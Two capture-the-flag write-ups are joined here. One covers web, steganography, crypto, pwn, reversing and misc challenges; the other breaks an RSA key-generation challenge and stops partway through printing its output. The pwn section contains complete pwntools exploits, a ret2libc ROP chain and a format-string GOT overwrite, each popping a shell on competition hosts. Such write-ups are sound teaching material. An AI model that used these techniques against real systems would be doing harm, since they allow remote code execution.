```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D
%```
FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}`
## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`.
I then tried to extract using `stug` as password:
```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}`
## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests
from base64 import b64decodefrom pprint import pprint
from Crypto.Cipher import ChaCha20, Salsa20
# {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"}
def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return
res = json.loads(res.content) pprint(res)
key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}")
#cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext)
cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext)
if __name__ == "__main__": main("http://34.89.241.255:30013")
# ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match.
### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))```
There is also a hint here about the first 3 null bytes being the best hint we can get.
Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes.
I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text
a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))```
Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}`
## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000)
io = start()
io.sendlineafter("Secret message: ", "#!@{try_hard3r}")
pop_rdi = 0x00000000004008f3main = exe.symbols["main"]
payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload)
io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}")
if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so")
libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"])
io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload)
io.interactive()
# ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}```
Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`.
### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000)
io = start()
io.recvline()
writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;")
io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}```
Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload.
## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`.
I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target.
The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}`
Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256
ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349"
def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return ""
def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)])
known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc.
By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff.
We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}`
### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield```
and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}`
### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e}
### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`.
At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them.
The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings.
Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None
def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")```
Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag:
`ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}`
### dumb-discordWe get a file to reverse: `server.cpython-36.pyc`
This is a Python bytecode file that is easy to decompile using *Uncompyle6*
```shelluncompyle6 server.cpython-36.pyc > server.py```
When looking at the code we can see that this is a Discord bot
```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get
def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt))
def test(s): data = obfuscate(s.encode()) return data
intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/')
@client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id))
@client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong
@client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag```
The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}`
After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay
We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role.
My guess is that this is the ID of the bot.
But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0
This user is called `DCTFTargetWhyNot`. Lets invite it to our own server

Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command.
However, there are two replace methods that removes `/s基ay` and `/getflag` from our message.
We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase.

Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier:
`ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}`
## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding.
the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files:
```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png```
with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image
def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])])
def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 )
pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}")
out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out
import re
def main(file_list): with open(file_list, "r") as f: files = f.readlines()
cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename)
fixed = convert_colors(filename)
qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break
from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data
from pprint import pprint pprint(res)
flag = "".join([res[i] for i in range(1, 69+1)]) print(flag)
if __name__ == "__main__": main("files.txt")```
`CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
|
# Santa's public key factory (Crypto)Description:> Santa wanted this factory built ASAP, but we think he got a bit careless and didn't take everything into consideration when it comes to security.
> Take a look for yourself, maybe you find something.
> Target: nc challs.xmas.htsp.ro 1000
> Author: Gabies
Files:- [server.py](server.py)- [chall.py](chall.py)- [PoW.py](PoW.py)
Try to netcat into it:```Provide a hex string X such that sha256(unhexlify(X))[-5:] = 4d9f2```Write a python script using pwntools to bruteforce the hash:```pyfrom pwn import *p = remote("challs.xmas.htsp.ro" ,1000)p.recvuntil("= ")h = p.recvuntil("\n")[:-1]ans = pwnlib.util.iters.mbruteforce(lambda x: hashlib.sha256(x.encode()).hexdigest()[-5:] == h.decode() , string.ascii_lowercase, length = 10)p.sendline(ans.encode().hex())```Result:```python solve.py [+] Opening connection to challs.xmas.htsp.ro on port 1000: Done[+] MBruteforcing: Found key: "acczi"[*] Switching to interactive mode
Good, you can continue!Welcome to Santa's public key factory, here we create the world's highest quality keys.Since this is an annanounced visit you can look through at most 256 keys.As a bonus, try to use those keys to find what Santa's secret message for you is.Choose what you want to do:1. get encrypted secret message2. guess the secret message3. exit
```As you can see, we can do 2 actions:- Get a encrypted secret- Guess the secret
If we choose first one, it will give us ciphertext of the secret and the public key (n,e):```Here is the encrypted secret message: 21bde22a91729748fedfe2894c0f7f6b429f6fc5e7d22d1e1c1874d2f290b20232d36a04f278f0c633eda023849b7559080571825366db1c74aacd7e7ea72c03c9456b5ee35a7b3a468a74da5025bf3b2a9de06ddef78743bce166a68dc644f153fe8a21d7940a18178c9a0a24f5f091fd08e81f7f3e862692e3bae1fde4e56b1e4d3d47d1f35dae2aa2973df25c9598111e9eaef2de1728542948160b209c6c92831c9a4556c828ea6af0c77f5977e80c2cf2f2e1630d40fed8ce2f0654b0e05228cca2a77acb9efa2bde42de9c8c7d4738f6922bc744339c8396c6483e28dfb99d471b52b96297ebe7bbb946c4bde1285f0dfccf05e14a5eff1d9f58dffa31.Ah, and also here's the public key with which it was encrypted:n: 8079251517827751825178719172167487990111025667428873707275844282252086857366991220792422638728205580457168821830720446109151553849503665293191590680021304257703941827528479346437735874924962135492265873751311516610347417680678799212385606079881568852047668753251886773957685411856341109171125195436198060552791609361474280174813748322387475934233174243647432818420527251220486025779441205444896721842028775004810914665584328461829716956450781949380729278880412728798144151876198188092253891223631713243698620872053722596377917656181846754058075274949023762424661690837101140487272809470567668583959162471811693799833e: 65537```Looks like it using RSA to encrypt the secret!
If choose 2nd one, you need enter the secret, if wrong it just exit:```$ 2Let's see what you've got.
$ testThat was not the secret message. Aborting!
[*] Got EOF while reading in interactive```## Analyse the source code### server.py```pyimport osimport sysfrom hashlib import sha256from text import *from chall import *from PoW import *import binascii
if not PoW(5): exit()
action_cnt = 256secret_message = os.urandom(8).hex()cipher = chall(1024, 16)
print (intro.format(action_cnt))
for i in range(action_cnt): print (menu) x = input() if not x in ["1", "2", "3"]: print (invalid_input) exit()
if x == "1": msg = int(secret_message, 16) pubkey, privkey = cipher.get_key() ct = hex(cipher.encrypt(msg, pubkey))[2:] n, e = pubkey print (enc_flag.format(ct, n, e))
elif x == "2": print (guess_msg) guess = input() if guess == secret_message: print (win.format(FLAG)) exit() else: print (bad_input) exit()
else: print (goodbye) exit()
sys.stdout.flush()```As the script says, we only allow to do 256 actions (1 or 2)
And the `secret_message` is 8 random bytes, we need to guess/decrypt it correctly to get the flag
### chall.py```pyimport osfrom random import SystemRandomfrom Crypto.Util.number import inversefrom gmpy2 import next_prime
class chall: def __init__(self, size, bits): self.rnd = SystemRandom() self.bits = bits self.size = size self.exp = self.rnd.sample(range(32, size - 1), bits)
def get_rand_int(self): res = 2** (self.size - 1) for i in range(self.bits): if self.rnd.randint(0, 1) == 1: res += 2**self.exp[i] return res
def get_prime(self): return int(next_prime(self.get_rand_int()))
def get_key(self): p = self.get_prime() q = self.get_prime() e = 0x10001 n = p * q phi = (p - 1) * (q - 1) d = inverse(e, phi)
pubkey = (n, e) privkey = (n, e, d, p, q)
return (pubkey, privkey)
def encrypt(self, pt, pubkey): n, e = pubkey return pow(pt, e, n)
def decrypt(self, ct, privkey): n, e, d, p, q = privkey return pow(ct, d, n)```All functions looks fine except the `get_rand_int` function
In the script it create the object like this:```cipher = chall(1024, 16)```That means it:1. Generate a 16 random numbers between 32 and 1022 put in `exp`2. Declare `res` = 2^10233. Loop 16 times, if randint == 1 then add 2^exp[i] into `res`4. Return `res`
Notice how `p` and `q` is generated, it get the next prime from the `get_rand_int` function! ```pydef get_prime(self): return int(next_prime(self.get_rand_int()))
def get_key(self): p = self.get_prime() q = self.get_prime()```Therefore, if we know what exponent it added, then we know the factor of n!
Then we can calculate the private key to decrypt the `secret_message`!
## Find the exponentSince the 16 exponent only generate once
If we find all the 16 random exponent, then we can brtue force to find the factor of n!
But how we find it?
By calculate the `p` and `q` in base 2, we can kind of guess what exponent is inside `n`:

Using python to calculate an example:```py>>> from gmpy2 import next_prime>>> p = next_prime(2**1023 + 2**32)>>> q = next_prime(2**1023 + 2**64)>>> n=p*q>>> bin(n)'0b1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000100000000000000000000010011011010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000100001011010000000000000000000000001010110100000000000000101101001001101001'``` You can see there are many 0s in the binary, because only few bits is added
If we ignore the lower bits, we will find out the remaining exponent is 1055 and 1087
Then minus 1023 to get the added exponent:```1055-1023 = 321087-1023 = 64```Then we can calculate the `p` and `q`
But the generated `n` not only 2 exponent, it has 16 exponent
If the got 2 exponent sum is more than 1055 (lowest is 32, 1023+32=1055), then got an extra exponent. (Because of 2^(x+y))
Therefore, we need to count the frequency for each exponent 255 times (Max request 255 times, 1 left for guess secret message)
Then we sort the frequency more to less, only use the top 20 exponent.
Then we choose the most less exponent public key to filter the exponent, and bruteforce the exponent
## Proof of ConceptBefore we solving in the real server, we solve it locally first
Written a python script for Poc:```pyfrom chall import *
cipher = chall(1024, 16)keys = []# Get 255 different keysfor i in range(255): pubkey, privkey = cipher.get_key() n, e = pubkey n,e,d,p,q = privkey keys.append([n,[p,q]])
key_exp = []freq = []for k in keys: exp = [] # Get exponent from 1055 to 2045 for i in range(1055,2045): if (k[0]>>i)&1: exp.append(i-1023) freq.append(i-1023) key_exp.append([k[0],k[1],exp])
# Get the top 20 exponentfreq = sorted(set(freq), key=freq.count)[::-1]# Get the most less exponent keykey_exp = sorted(key_exp, key = lambda kv: len(kv[2]))print(f"Top 20 exponent: {sorted(freq[:20])}")print(f"Actual exponent: {sorted(cipher.exp)}")print(f"Most less key: {key_exp[0][0]}")print(f"Key p: {key_exp[0][1][0]}")print(f"Key q: {key_exp[0][1][1]}")print(f"Key exp: {key_exp[0][2]}")```Result:```Top 20 exponent: [47, 48, 95, 214, 253, 262, 263, 309, 424, 552, 585, 606, 646, 657, 665, 680, 806, 808, 856, 987]Actual exponent: [214, 253, 262, 309, 424, 552, 585, 606, 646, 657, 665, 680, 806, 808, 856, 987]Most less key: 8079251517827751825178719172167487990111025667428871008032586356919522324778255772239699723858179939417560110065044611851556574487402107032299197743402392141932054247686699329103141717465089371568625055391278593727207514687901138514719107507580588948894586422923433004438761396962848647558718220008436613555927661783039866123053666626248082865140727911684864205526673220664183149912653250273146092734444369440402812837548963469256931995366954299206480403924032906920658784271024507723630466087075045904032508909470546389456552317197328178611823116568252052989661344217398580131783748164956959961227557488199685401671Key p: 89884656743115795386465259539451236680898848947115328636715040579293090826454792239895349175809928509577321472563914801094755384360233327632306397418547700335425480681278244166870657651195930650309744220440301987760493423884561229147390650162873000948780644196095028741778471638545777079553679254792930591469Key q: 